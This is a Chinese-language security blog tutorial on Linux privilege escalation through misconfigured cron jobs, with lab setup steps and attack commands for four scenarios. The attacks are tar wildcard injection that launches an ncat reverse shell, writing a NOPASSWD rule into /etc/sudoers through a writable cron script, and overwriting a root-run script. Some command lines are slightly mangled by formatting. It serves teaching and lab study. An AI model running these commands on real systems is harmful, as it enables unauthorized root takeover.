Linux提权-Cron计划任务提权

admin 2025年6月13日22:10:21评论23 views字数 2439阅读8分7秒阅读模式

1、简介

Cron词来自Crontab,存在于/etc 目录中。Cron任务用于通过在服务器上的特定日期和时间执行命令来调度任务。最常用于系统管理员作业,例如备份或清理 /tmp/目录等。

2、Cron语法配置

可以参考网上在线编写计划任务:https://tool.lu/crontab/

Linux提权-Cron计划任务提权

示例:在 crontab 中,每隔1小时自动打印一次 apache 错误日志

1 0 * * * printf "" > /var/log/apache/error_log

3、Sudo提权方法

3.1、Tar通配符注入

1. 部署漏洞环境

1.使用root身份创建计划任务

crontab -e
*/01 * * * * cd /var/log/monitor && tar -zcf /tmp/monitor.tar.gz *

2.创建本地文件

rpm -vhU https://nmap.org/dist/ncat-7.92-1.x86_64.rpm
mkdir /var/log/monitor
chmod o+w /var/log/monitor
echo "11" > 1
echo "22" > 2
echo "33" > 3

3.查看tmp目录文件

查看/tmp目录中每分钟创建一个文件

Linux提权-Cron计划任务提权

4.创建普通用户

useradd test
passwd test

Linux提权-Cron计划任务提权

2 漏洞利用

1.普通用户登录

查看普通用户登录后,显示目录中文件时间会变动

Linux提权-Cron计划任务提权

2.解压文件查看内容

tar -zxvf monitor.tar.gz

Linux提权-Cron计划任务提权

3.通过find进行文件查找

find / -name 2 2>/dev/null

Linux提权-Cron计划任务提权

4.进入目录创建文件测试

cd /var/log/monitor/
echo "666" > 6

Linux提权-Cron计划任务提权

5.重新解压新版本压缩包

已经显示有创建好的文件在压缩包中

Linux提权-Cron计划任务提权

6.执行bash脚本

printf '#! /bin/bashnncat -e /bin/bash 127.0.0.1 1234' > shell.sh
touch -- '--checkpoint-action=exec=sh shell.sh'
touch -- '--checkpoint=1'
ncat -nlvp 1234

Linux提权-Cron计划任务提权

3.2、Sudo权限任务

1.环境部署

1.添加账号

useradd test
passwd test

2.配置sudo

vim /etc/sudoers
  test          ALL=(root)      NOPASSWD: /ect/init.d/cron
test ALL=(root) NOPASSWD: /etc/init.d/postfix

Linux提权-Cron计划任务提权

3.配置计划任务

*/01 * * * * /bin/sh /opt/exec.sh

Linux提权-Cron计划任务提权

4.配置目录权限

chmod o+w /opt/

2.提权操作

1.查看计划任务

cat /var/spool/mail/root

Linux提权-Cron计划任务提权

查看文件

Linux提权-Cron计划任务提权

2.创建执行计划

printf '#! /bin/bashnecho "test ALL=NOPASSWD:ALL" >> /etc/sudoers' > /opt/exec.sh

Linux提权-Cron计划任务提权

3.查看sudo授权

sudo -l

Linux提权-Cron计划任务提权

4.sudo提权

sudo /bin/bash

Linux提权-Cron计划任务提权

3.3、计划任务文件可写入

1.靶场部署

1. 添加账号

useradd test
passwd test

2. 配置sudo

vim /etc/sudoers
  test          ALL=(root)      NOPASSWD: /ect/init.d/cron

Linux提权-Cron计划任务提权

3.配置计划任务

以root身份配置计划任务

*/01 * * * * /bin/sh /usr/local/share/copy.sh

4.编辑配置文件

vim /usr/local/share/copy.sh
#!/bin/bash
cp /home/test/message /tmp/message
chmod 644 /tmp/message

5.配置message文件

chmod o+w /usr/local/share/copy.sh
echo 'Hey!! you are not root :(' > /home/test/message
chmod 600 /home/test/message

2、提权方法

1.查看本地文件

cat message

Linux提权-Cron计划任务提权

2.查看tmp目录文件

Linux提权-Cron计划任务提权

3. 查找文件

grep -nr '/tmp/message' /etc 2>/dev/null
grep -nr '/tmp/message' /bin 2>/dev/null
grep -nr '/tmp/message' /usr 2>/dev/null

Linux提权-Cron计划任务提权

4. 查看配置文件

cat /usr/local/share/copy.sh

Linux提权-Cron计划任务提权

5. 查看当前权限

Linux提权-Cron计划任务提权

6. 重复写入内容

printf '#! /bin/bashnecho "test ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh

Linux提权-Cron计划任务提权

7. 执行命令

sudo /bin/bash

Linux提权-Cron计划任务提权

3.4、计划任务文件覆盖

1.靶场部署

在 crontab 的帮助下设置一个新作业来运行一个 python 脚本,该脚本将删除特定目录中的所有数据。

1.在home目录创建文件

cd /home
mkdir cleanup
cd cleanup
echo "hello friends" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo > 1.php
echo > 2.php

Linux提权-Cron计划任务提权

2.在tmp目录中创建清理脚本

vim /tmp/cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /home/cleanup/* ')
except:
sys.exit()

Linux提权-Cron计划任务提权

3.创建计划任务

chmod 777 /tmp/cleanup.py
crontab -e -u root
*/1 * * * *  /tmp/cleanup.py

每分钟清理文件

Linux提权-Cron计划任务提权

查看已经执行完毕

Linux提权-Cron计划任务提权

2.提权方法

1.查看计划任务

cat /var/spool/cron/*

Linux提权-Cron计划任务提权

2.查看cleanup.py文件

cat /tmp/cleanup.py

Linux提权-Cron计划任务提权

3.使用编辑器修改执行命令

修改os.system执行命令方法为dash

Linux提权-Cron计划任务提权

4.等待一分钟测试

bash -p

Linux提权-Cron计划任务提权

原文始发于微信公众号(安全孺子牛):Linux提权-Cron计划任务提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月13日22:10:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权-Cron计划任务提权http://cn-sec.com/archives/821029.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息